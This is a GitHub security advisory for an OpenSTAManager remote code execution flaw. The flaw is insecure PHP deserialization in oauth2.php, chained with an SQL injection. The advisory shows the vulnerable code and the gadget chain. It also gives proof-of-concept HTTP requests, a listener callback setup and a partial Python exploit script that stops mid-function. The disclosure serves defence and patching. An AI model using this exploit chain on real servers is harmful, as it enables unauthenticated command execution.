GitHub Advisoryadvisory · Packagist

GHSA-whv5-4q2f-q68g OpenSTAManager Affected by Remote Code Execution via Insecure Deserialization in OAuth2

HIGH Published 2026-04-01 Modified 2026-04-06 Official page ↗
Aliases
CVE-2026-29782
Ecosystem
Packagist
Packages
devcode-it/openstamanager
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-502
Reviewed
2026-04-01

Affected packages

• Packagist devcode-it/openstamanager: < 2.10.2 → fixed in 2.10.2

Description

Description The `oauth2.php` file in OpenSTAManager is an unauthenticated endpoint (`$skip_permissions = true`). It loads a record from the `zz_oauth2` table using the attacker-controlled GET parameter `state`, and during the OAuth2 configuration flow calls `unserialize()` on the `access_token` field without any class restriction. An attacker who can write to the `zz_oauth2` table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the `www-data` user. Affected code Entry point — `oauth2.php` ```php $skip_permissions = true; // Line 23: NO AUTHENTICATION include_once __DIR__.'/core.php'; $state = $_GET['state']; // Line 28: attacker-controlled $code = $_GET['code']; $account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record $response = $account->configure($code, $state); // Line 51: triggers the chain ``` Deserialization — `src/Models/OAuth2.php` ```php // Line 193 (checkTokens): $access_token = $this->access_token ? unserialize($this->access_token) : null; // Line 151 (getAccessToken): return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null; ``` `unserialize()` is called without the `allowed_classes` parameter, allowing instantiation of any class loaded by the Composer autoloader. Execution flow ``` oauth2.php (no auth) → configure() → needsConfiguration() → getAccessToken() → checkTokens() → unserialize($this->access_token) ← attacker payload → Creates PendingBroadcast object (Laravel/RCE22 gadget chain) → $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error → During error cleanup: → PendingBroadcast.__destruct() ← fires during shutdown → system($command) ← RCE ``` The HTTP response is 500 (due to the `hasExpired()` error), but the command has already executed via `__destruct()` during error cleanup. Full attack chain This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE: 1. Payload injection (requires admin account): Via `op=risolvi-conflitti-database`, arbitrary SQL is executed to insert a malicious serialized object into `zz_oauth2.access_token` 2. RCE trigger (unauthenticated): A GET request to `oauth2.php?state=&code=x` triggers the deserialization and executes the command Persistence note: The `risolvi-conflitti-database` handler ends with `exit;` (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (`CREATE TABLE`/`DROP TABLE`) are included to force an implicit MySQL commit. Gadget chain The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies: ``` PendingBroadcast.__destruct() → $this->events->dispatch($this->event) → chain of __call() / __invoke() → system($command) ``` Proof of Concept Execution Terminal 1 — Attacker listener: ```bash python3 listener.py --port 9999 ``` Terminal 2 — Exploit: ```bash python3 exploit.py \ --target http://localhost:8888 \ --callback http://host.docker.internal:9999 \ --user admin --password ``` Observed result Listener receives: The `id` command was executed on the server as `www-data`, confirming RCE. HTTP requests from the exploit Step 4 — Injection (authenticated): ``` POST /actions.php HTTP/1.1 Cookie: PHPSESSID= Content-Type: application/x-www-form-urlencoded op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"] ``` Step 5 — Trigger (NO authentication): ``` GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1 (No cookies — completely anonymous request) ``` Response: HTTP 500 (expected — the error occurs after `__destruct()` has already executed the command) Exploit — `exploit.py` ```python !/usr/bin/env python3 """ OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization) Usage: python3 listener.py --port 9999 python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234 """ import argparse import json import random import re import string import subprocess import sys import time try: import requests except ImportError: print("[!] pip install requests") sys.exit(1) RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" BLUE = "\033[94m" BOLD = "\033[1m" DIM = "\033[2m" RESET = "\033[0m" BANNER = f""" {RED}{'=' * 58}{RESET} {RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET} {RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET} {RED}{'=' * 58}{RESET} """ def log(msg, status="*"): icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"} print(f" [{icons.get(status, '*')}] {msg}") def step_header(num, title): print(f"\n {BOLD}── Step {num}: {title} ──{RESET}\n") def generate_payload(container, command): step_header(1, "Generate Gadget Chain Payload") log("Checking phpggc in container...") result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True) if result.returncode != 0: log("Installing phpggc...", "!") proc = subprocess.run( ["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"], capture_output=True, text=True, ) if proc.returncode != 0: log(f"Failed to install phpggc: {proc.stderr}", "-") sys.exit(1) log(f"Command: {DIM}{command}{RESET}") result = subprocess.run( ["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command], capture_output=True, ) if result.returncode != 0: log(f"phpggc failed: {result.stderr.decode()}", "-") sys.exit(1) payload_bytes = result.stdout log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+") return payload_bytes def authenticate(target, username, password): step_header(2, "Authenticate") session = requests.Session() log(f"Logging in as '{username}'...") resp = session.post( f"{target}/index.php", data={"op": "login", "username": username, "password": password}, allow_redirects=False, timeout=10, ) location = resp.headers.get("Location", "") if resp.status_code != 302 or "index.php" in location: log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-") sys.exit(1) session.get(f"{target}{location}", timeout=10) log("Authenticated", "+") return session def find_module_id(session, target, container): step_header(3, "Find 'Aggiorn…

Related

Alias · CVE (1)

  • CVE-2026-29782 OpenSTAManager is an open source management software for technical assistance and invoicing. vulnerability

Weakness · CWE (1)

  • CWE-502 Deserialization of Untrusted Data weakness

References